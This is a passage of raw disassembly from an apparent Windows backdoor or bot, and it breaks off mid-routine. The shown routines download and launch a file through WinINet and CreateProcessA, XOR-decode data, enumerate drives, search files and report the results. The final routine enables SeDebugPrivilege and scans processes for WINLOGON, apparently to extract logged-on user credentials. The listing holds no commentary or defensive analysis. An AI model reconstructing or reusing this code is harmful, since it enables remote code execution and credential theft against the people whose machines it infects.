cmp edi, ebx
jnb short loc_416903
mov eax, ebx
sub eax, edi
cmp eax, [ebp+arg_0]
jbe short loc_4168ED
mov eax, [ebp+arg_0]
loc_4168ED: ; CODE XREF: sub_4167A0+148j
push eax
lea eax, [ebp+var_510]
push eax
mov eax, [ebp+var_1C]
add eax, edi
push eax
call sub_41CD20
add esp, 0Ch
loc_416903: ; CODE XREF: sub_4167A0+13Fj
add edi, [ebp+arg_0]
cmp [ebp+var_3C], esi
jz short loc_416910
cmp edi, [ebp+var_3C]
ja short loc_41695A
loc_416910: ; CODE XREF: sub_4167A0+169j
cmp [ebp+var_44], 1
mov eax, edi
jz short loc_41692A
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_438338
jmp short loc_41693A
; ---------------------------------------------------------------------------
loc_41692A: ; CODE XREF: sub_4167A0+176j
shr eax, 0Ah
push eax
lea eax, [ebp+var_248]
push eax
push offset unk_438310
loc_41693A: ; CODE XREF: sub_4167A0+188j
mov eax, [ebp+var_48]
imul eax, 234h
add eax, offset dword_43E720
push eax
call sub_41C266
add esp, 10h
cmp [ebp+arg_0], esi
ja loc_416881
loc_41695A: ; CODE XREF: sub_4167A0+16Ej
cmp [ebp+var_3C], esi
mov [ebp+var_14], 1
jz short loc_4169AF
cmp edi, [ebp+var_3C]
jz short loc_4169AF
push [ebp+var_3C]
lea eax, [ebp+var_510]
mov [ebp+var_14], esi
push edi
push offset unk_4382E4
push eax
call sub_41C266
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
lea eax, [ebp+var_510]
push eax
call sub_415D38
add esp, 28h
loc_4169AF: ; CODE XREF: sub_4167A0+1C4j
; sub_4167A0+1C9j
call dword_4270B0 ; GetTickCount
sub eax, dword ptr [ebp+var_8+4]
xor edx, edx
mov ecx, 3E8h
push [ebp+var_20]
div ecx
xor edx, edx
mov ecx, eax
mov eax, edi
inc ecx
div ecx
mov ebx, eax
call dword_427070 ; CloseHandle
push [ebp+var_1C]
call sub_41BA91
cmp [ebp+var_38], esi
pop ecx
jz short loc_416A39
lea eax, [ebp+var_148]
push eax
call sub_4010AB
cmp eax, [ebp+var_38]
pop ecx
jz short loc_416A39
push [ebp+var_38]
mov [ebp+var_14], esi
push eax
lea eax, [ebp+var_510]
push offset unk_4382BC
push eax
call sub_41C266
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
lea eax, [ebp+var_510]
push eax
call sub_415D38
add esp, 28h
loc_416A39: ; CODE XREF: sub_4167A0+241j
; sub_4167A0+253j
cmp [ebp+var_14], esi
jz loc_416C79
cmp [ebp+var_44], 1
jz loc_416B34
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_427690
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_427690
fstp [esp+590h+var_590]
push offset unk_438284
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416AB4
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_416AB4: ; CODE XREF: sub_4167A0+2F2j
lea eax, [ebp+var_510]
push eax
call sub_415D38
cmp [ebp+var_40], 1
pop ecx
jnz loc_416C79
push 5
push esi
lea eax, [ebp+var_148]
push esi
push eax
push offset aOpen ; "open"
push esi
call dword_4CB950
cmp [ebp+var_30], esi
jnz loc_416C79
lea eax, [ebp+var_148]
push eax
lea eax, [ebp+var_510]
push offset dword_438268
push eax
call sub_41C266
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
lea eax, [ebp+var_510]
push eax
call sub_415D38
add esp, 24h
jmp loc_416C79
; ---------------------------------------------------------------------------
loc_416B34: ; CODE XREF: sub_4167A0+2A6j
mov dword ptr [ebp+var_8], ebx
mov dword ptr [ebp+var_8+4], esi
fild [ebp+var_8]
push ecx
push ecx
mov dword ptr [ebp+var_8], edi
mov dword ptr [ebp+var_8+4], esi
fmul dbl_427690
lea eax, [ebp+var_148]
fstp [esp+584h+var_584]
fild [ebp+var_8]
push eax
push ecx
push ecx
lea eax, [ebp+var_510]
fmul dbl_427690
fstp [esp+590h+var_590]
push offset unk_438224
push eax
call sub_41C266
add esp, 1Ch
cmp [ebp+var_30], esi
jnz short loc_416B9C
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_416B9C: ; CODE XREF: sub_4167A0+3DAj
lea eax, [ebp+var_510]
push eax
call sub_415D38
push 10h
lea eax, [ebp+var_10]
push esi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_310]
pop edi
push edi
push esi
push eax
call sub_41BF70
add esp, 1Ch
mov [ebp+var_310], edi
lea eax, [ebp+var_10]
mov [ebp+var_304], offset byte_43DB98
push 1
mov [ebp+var_2E0], si
pop edi
push eax
lea eax, [ebp+var_310]
push eax
push esi
push esi
push 28h
push esi
push esi
lea eax, [ebp+var_148]
push esi
push eax
push esi
mov [ebp+var_2E4], edi
call dword_427074 ; CreateProcessA
cmp eax, edi
jnz short loc_416C1E
call dword_4CB93C ; WSACleanup
call sub_4188A6
push esi
call dword_42706C ; ExitProcess
loc_416C1E: ; CODE XREF: sub_4167A0+46Aj
lea eax, [ebp+var_148]
push eax
push offset unk_4381F0
jmp short loc_416C38
; ---------------------------------------------------------------------------
loc_416C2C: ; CODE XREF: sub_4167A0+45j
lea eax, [ebp+var_248]
push eax
push offset unk_4381C4
loc_416C38: ; CODE XREF: sub_4167A0+48Aj
lea eax, [ebp+var_510]
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_416C6C
push esi
lea eax, [ebp+var_510]
push [ebp+var_2C]
push eax
lea eax, [ebp+var_2C8]
push eax
push [ebp+var_2CC]
call sub_409869
add esp, 14h
loc_416C6C: ; CODE XREF: sub_4167A0+4AAj
lea eax, [ebp+var_510]
push eax
call sub_415D38
pop ecx
loc_416C79: ; CODE XREF: sub_4167A0+29Cj
; sub_4167A0+325j ...
push [ebp+var_18]
call dword_4CBA18 ; InternetCloseHandle
push [ebp+var_48]
call sub_40B6D6
pop ecx
push esi
call dword_4270D4 ; ExitThread
sub_4167A0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_416C92 proc near ; CODE XREF: sub_4167A0+11Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
xor ecx, ecx
cmp [esp+arg_4], ecx
jle short locret_416CAE
loc_416C9E: ; CODE XREF: sub_416C92+1Aj
mov dl, byte_429094
xor [ecx+eax], dl
inc ecx
cmp ecx, [esp+arg_4]
jl short loc_416C9E
locret_416CAE: ; CODE XREF: sub_416C92+Aj
retn
sub_416C92 endp
; =============== S U B R O U T I N E =======================================
sub_416CAF proc near ; CODE XREF: sub_401ACD+5761p
; sub_401ACD+5896p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push [esp+arg_4]
push [esp+4+arg_0]
call sub_41DC5E
pop ecx
pop ecx
xor ecx, ecx
cmp eax, 0FFFFFFFFh
setnz cl
mov eax, ecx
retn
sub_416CAF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416CC9 proc near ; CODE XREF: sub_41036B+458p
; sub_41036B+5FDp ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_4D3608
push 0
push edi
call sub_41BF70
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_416CEE: ; CODE XREF: sub_416CC9+5Bj
; sub_416CC9+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_41DD20
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_41DCB0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_416D2C
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_416CEE
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_416CEE
; ---------------------------------------------------------------------------
loc_416D2C: ; CODE XREF: sub_416CC9+4Bj
dec esi
mov eax, edi
loc_416D2F: ; CODE XREF: sub_416CC9+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_416D3E
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_416D2F
; ---------------------------------------------------------------------------
loc_416D3E: ; CODE XREF: sub_416CC9+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_416CC9 endp
; =============== S U B R O U T I N E =======================================
sub_416D48 proc near ; CODE XREF: sub_416EFD+51p
; sub_416EFD+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CBA44 ; GetDriveTypeA
sub eax, 0
jz short loc_416D8B
dec eax
jz short loc_416D85
dec eax
dec eax
jz short loc_416D7F
dec eax
jz short loc_416D79
dec eax
jz short loc_416D73
dec eax
jz short loc_416D6D
mov eax, offset word_4383B4
retn
; ---------------------------------------------------------------------------
loc_416D6D: ; CODE XREF: sub_416D48+1Dj
mov eax, offset off_4383B0
retn
; ---------------------------------------------------------------------------
loc_416D73: ; CODE XREF: sub_416D48+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_416D79: ; CODE XREF: sub_416D48+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_416D7F: ; CODE XREF: sub_416D48+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_416D85: ; CODE XREF: sub_416D48+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_416D8B: ; CODE XREF: sub_416D48+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_416D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416D91 proc near ; CODE XREF: sub_416DD9+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_4CB8D4
test eax, eax
jz short loc_416DC6
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax ; GetDiskFreeSpaceExA
loc_416DC6: ; CODE XREF: sub_416D91+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416D91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416DD9 proc near ; CODE XREF: sub_416EFD+17p
; sub_41AF8F+1F3p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_416D91
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_416EB7
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
mov edi, offset aSkb ; "%sKB"
pop ecx
mov esi, 80h
push eax
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_41C360
add esp, 10h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_41DDA0
push edx
push eax
call sub_416CC9
pop ecx
pop ecx
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_41C360
add esp, 10h
pop ebx
jmp short loc_416EE9
; ---------------------------------------------------------------------------
loc_416EB7: ; CODE XREF: sub_416DD9+2Cj
; sub_416DD9+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_118]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
lea eax, [ebp+var_98]
pop ecx
push esi
push eax
call sub_41C266
pop ecx
pop ecx
loc_416EE9: ; CODE XREF: sub_416DD9+DCj
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_416DD9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416EFD proc near ; CODE XREF: sub_416FCF+17p
; sub_416FCF+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_416DD9
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_41CA50
add esp, 10h
test eax, eax
jnz short loc_416F70
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_438404
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 14h
jmp short loc_416FA4
; ---------------------------------------------------------------------------
loc_416F70: ; CODE XREF: sub_416EFD+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_416D48
pop ecx
push eax
push offset unk_4383C8
lea eax, [ebp+var_500]
push 200h
push eax
call sub_41C360
add esp, 20h
loc_416FA4: ; CODE XREF: sub_416EFD+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
lea eax, [ebp+var_500]
push eax
call sub_415D38
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_416EFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416FCF proc near ; CODE XREF: sub_401ACD+252Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_416FF0
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
jmp short loc_417051
; ---------------------------------------------------------------------------
loc_416FF0: ; CODE XREF: sub_416FCF+9j
push esi
push edi
push ebx
push ebx
call dword_4CB94C ; GetLogicalDriveStringsA
lea esi, [eax+2]
push esi
call sub_41BEB5
pop ecx
mov edi, eax
push edi
push esi
call dword_4CB94C ; GetLogicalDriveStringsA
cmp [edi], bl
mov esi, edi
jz short loc_417048
loc_417014: ; CODE XREF: sub_416FCF+77j
push offset aA_1 ; "A:\\"
push esi
call sub_41CA50
pop ecx
test eax, eax
pop ecx
jz short loc_417037
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_416EFD
add esp, 10h
loc_417037: ; CODE XREF: sub_416FCF+54j
push esi
call sub_41B9C0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_417014
loc_417048: ; CODE XREF: sub_416FCF+43j
push edi
call sub_41BA91
pop ecx
pop edi
pop esi
loc_417051: ; CODE XREF: sub_416FCF+1Fj
pop ebx
pop ebp
retn
sub_416FCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417054 proc near ; DATA XREF: sub_401ACD+67C1o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_41B9C0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_4170A9
lea eax, [ebp+var_114]
push eax
call sub_41B9C0
pop ecx
mov [ebp+eax+var_115], bl
loc_4170A9: ; CODE XREF: sub_417054+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_438464
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41C360
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_4170EE
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409869
add esp, 14h
loc_4170EE: ; CODE XREF: sub_417054+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_41716F
add esp, 18h
push eax
lea eax, [ebp+var_49C]
push offset dword_438444
push eax
call sub_41C266
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_41714F
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_409869
add esp, 14h
loc_41714F: ; CODE XREF: sub_417054+D9j
lea eax, [ebp+var_49C]
push eax
call sub_415D38
push [ebp+var_10]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_417054 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41716F proc near ; CODE XREF: sub_417054+B9p
; sub_41716F+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset dword_4384A8
push esi
push eax
call sub_41C360
mov edi, dword_427124
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset dword_429AC8
jz short loc_41722C
loc_4171BB: ; CODE XREF: sub_41716F+BBj
test [ebp+var_144], 10h
jz short loc_417218
cmp [ebp+var_118], 2Eh
jnz short loc_4171DF
cmp [ebp+var_117], 0
jz short loc_417218
cmp [ebp+var_117], 2Eh
jz short loc_417218
loc_4171DF: ; CODE XREF: sub_41716F+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41C360
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41716F
add esp, 2Ch
mov [ebp+arg_14], eax
loc_417218: ; CODE XREF: sub_41716F+53j
; sub_41716F+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call dword_427120 ; FindNextFileA
test eax, eax
jnz short loc_4171BB
loc_41722C: ; CODE XREF: sub_41716F+4Aj
push [ebp+var_4]
call dword_427000 ; FindClose
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41C360
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4172B2
loc_417263: ; CODE XREF: sub_41716F+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset dword_43848C
push 200h
push eax
call sub_41C360
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409869
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call dword_427120 ; FindNextFileA
test eax, eax
jnz short loc_417263
loc_4172B2: ; CODE XREF: sub_41716F+F2j
push esi
call dword_427000 ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_41716F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4172C1 proc near ; DATA XREF: sub_401ACD+1C72o
var_29C = byte ptr -29Ch
var_9C = dword ptr -9Ch
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 29Ch
mov eax, [ebp+arg_0]
push esi
push edi
push 25h
pop ecx
mov esi, eax
lea edi, [ebp+var_9C]
push 1
rep movsd
pop esi
mov [eax+90h], esi
call sub_41AE41
cmp eax, esi
mov [ebp+var_4], eax
jz short loc_417300
cmp eax, 2
jz short loc_417300
push offset unk_438680
jmp loc_41743F
; ---------------------------------------------------------------------------
loc_417300: ; CODE XREF: sub_4172C1+2Ej
; sub_4172C1+33j
push esi
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
test eax, eax
pop ecx
jz loc_41743A
push ebx
push offset aNtdll_dll ; "NTDLL.DLL"
call dword_4270C0 ; LoadLibraryA
mov esi, dword_4270C4
mov edi, eax
push offset aNtquerysystemi ; "NtQuerySystemInformation"
push edi
mov [ebp+var_8], edi
call esi ; GetProcAddress
push offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
push edi
mov dword_4D484C, eax
call esi ; GetProcAddress
push offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
push edi
mov dword_4D4840, eax
call esi ; GetProcAddress
push offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
push edi
mov dword_4D4A50, eax
call esi ; GetProcAddress
push offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
push edi
mov dword_4D4848, eax
call esi ; GetProcAddress
mov dword_4D4844, eax
call sub_417493
test eax, eax
mov [ebp+arg_0], eax
jz loc_41740D
mov esi, dword_427148
mov edi, 400h
mov ebx, offset dword_4D3840
push edi
push ebx
push offset aUsername ; "USERNAME"
call esi ; GetEnvironmentVariableW
push edi
mov edi, offset dword_4D4040
push edi
push offset aUserdomain ; "USERDOMAIN"
call esi ; GetEnvironmentVariableW
cmp [ebp+var_4], 1
push offset dword_4D4A58
push [ebp+arg_0]
jnz short loc_4173B9
call sub_41761C
jmp short loc_4173BE
; ---------------------------------------------------------------------------
loc_4173B9: ; CODE XREF: sub_4172C1+EFj
call sub_4177C3
loc_4173BE: ; CODE XREF: sub_4172C1+F6j
pop ecx
test eax, eax
pop ecx
jz short loc_417406
cmp dword_4D4A58, 0
jnz short loc_4173ED
push ebx
push edi
push [ebp+arg_0]
lea eax, [ebp+var_29C]
push offset unk_438548
push 200h
push eax
call sub_41C360
add esp, 18h
jmp short loc_417420
; ---------------------------------------------------------------------------
loc_4173ED: ; CODE XREF: sub_4172C1+10Aj
cmp [ebp+var_4], 1
push [ebp+arg_0]
jnz short loc_4173FD
call sub_4178F9
jmp short loc_417402
; ---------------------------------------------------------------------------
loc_4173FD: ; CODE XREF: sub_4172C1+133j
call sub_417990
loc_417402: ; CODE XREF: sub_4172C1+13Aj
pop ecx
push eax
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_417406: ; CODE XREF: sub_4172C1+101j
push offset unk_438510
jmp short loc_417412
; ---------------------------------------------------------------------------
loc_41740D: ; CODE XREF: sub_4172C1+B6j
push offset unk_4384E4
loc_417412: ; CODE XREF: sub_4172C1+143j
; sub_4172C1+14Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_417420: ; CODE XREF: sub_4172C1+12Aj
push 0
push offset aSedebugprivile ; "SeDebugPrivilege"
call sub_419B9E
pop ecx
pop ecx
push [ebp+var_8]
call dword_427144 ; FreeLibrary
pop ebx
jmp short loc_41744D
; ---------------------------------------------------------------------------
loc_41743A: ; CODE XREF: sub_4172C1+4Ej
push offset unk_4384B0
loc_41743F: ; CODE XREF: sub_4172C1+3Aj
lea eax, [ebp+var_29C]
push eax
call sub_41C266
pop ecx
pop ecx
loc_41744D: ; CODE XREF: sub_4172C1+177j
xor esi, esi
cmp [ebp+var_10], esi
jnz short loc_417474
push esi
lea eax, [ebp+var_29C]
push [ebp+var_14]
push eax
lea eax, [ebp+var_98]
push eax
push [ebp+var_9C]
call sub_409869
add esp, 14h
loc_417474: ; CODE XREF: sub_4172C1+191j
lea eax, [ebp+var_29C]
push eax
call sub_415D38
push [ebp+var_18]
call sub_40B6D6
pop ecx
pop ecx
push esi
call dword_4270D4 ; ExitThread
pop edi
pop esi
sub_4172C1 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_417493 proc near ; CODE XREF: sub_4172C1+ACp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
sub esp, 18h
and [esp+18h+var_4], 0
and [esp+18h+var_14], 0
push ebx
push ebp
push esi
mov esi, dword_427154
mov ebx, 100h
push edi
push ebx
push 8
call esi ; GetProcessHeap
mov edi, dword_427150
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
lea eax, [esp+28h+var_14]
push eax
push ebx
push ebp
push 10h
call dword_4D484C
push ebp
push 0
call esi ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
push [esp+28h+var_14]
push 8
call esi ; GetProcessHeap
push eax
call edi ; RtlAllocateHeap
mov ebp, eax
mov eax, [esp+28h+var_14]
lea ecx, [esp+28h+var_C]
mov [esp+28h+var_C], eax
push ecx
push eax
push ebp
push 10h
call dword_4D484C
test eax, eax
jnz short loc_417580
mov eax, [esp+28h+var_C]
shr eax, 4
mov [esp+28h+var_10], eax
jz short loc_417580
push 1
mov ebx, ebp
pop ecx
cmp eax, ecx
mov [esp+28h+var_18], ecx
jb short loc_417580
loc_41751C: ; CODE XREF: sub_417493+EBj
cmp word ptr [ebx+8], 5
jnz short loc_417573
push 0
push 0
call dword_4D4840
mov edi, eax
push edi
push 1
push dword ptr [ebx+4]
call dword_4D4A50
test eax, eax
jnz short loc_417564
mov eax, [edi+60h]
push offset aWinlogon ; "WINLOGON"
mov [esp+2Ch+var_8], eax
lea eax, [edi+80h]
push eax
call sub_41DE4A
pop ecx
push eax
call sub_41C2E0
pop ecx
test eax, eax
pop ecx
jnz short loc_417598
loc_417564: ; CODE XREF: sub_417493+AAj
test edi, edi
jz short loc_41756F
push edi
call dword_4D4848
loc_41756F: ; CODE XREF: sub_417493+D3j
mov eax, [esp+28h+var_10]
loc_417573: ; CODE XREF: sub_417493+8Ej
add ebx, 10h
inc [esp+28h+var_18]
cmp [esp+28h+var_18], eax
jbe short loc_41751C
loc_417580: ; CODE XREF: sub_417493+6Dj
; sub_417493+7Aj ...
xor edi, edi
loc_417582: ; CODE XREF: sub_417493+17Dj
push ebp
push 0
call esi ; GetProcessHeap
push eax
call dword_42714C ; RtlFreeHeap
mov eax, edi
loc_417590: ; CODE XREF: sub_417493+184j
pop edi
pop esi
pop ebp
pop ebx
add esp, 18h
retn
; ---------------------------------------------------------------------------
loc_417598: ; CODE XREF: sub_417493+CFj
and [esp+28h+var_10], 0
cmp [esp+28h+var_8], 0
jbe short loc_417601
lea eax, [edi+80h]
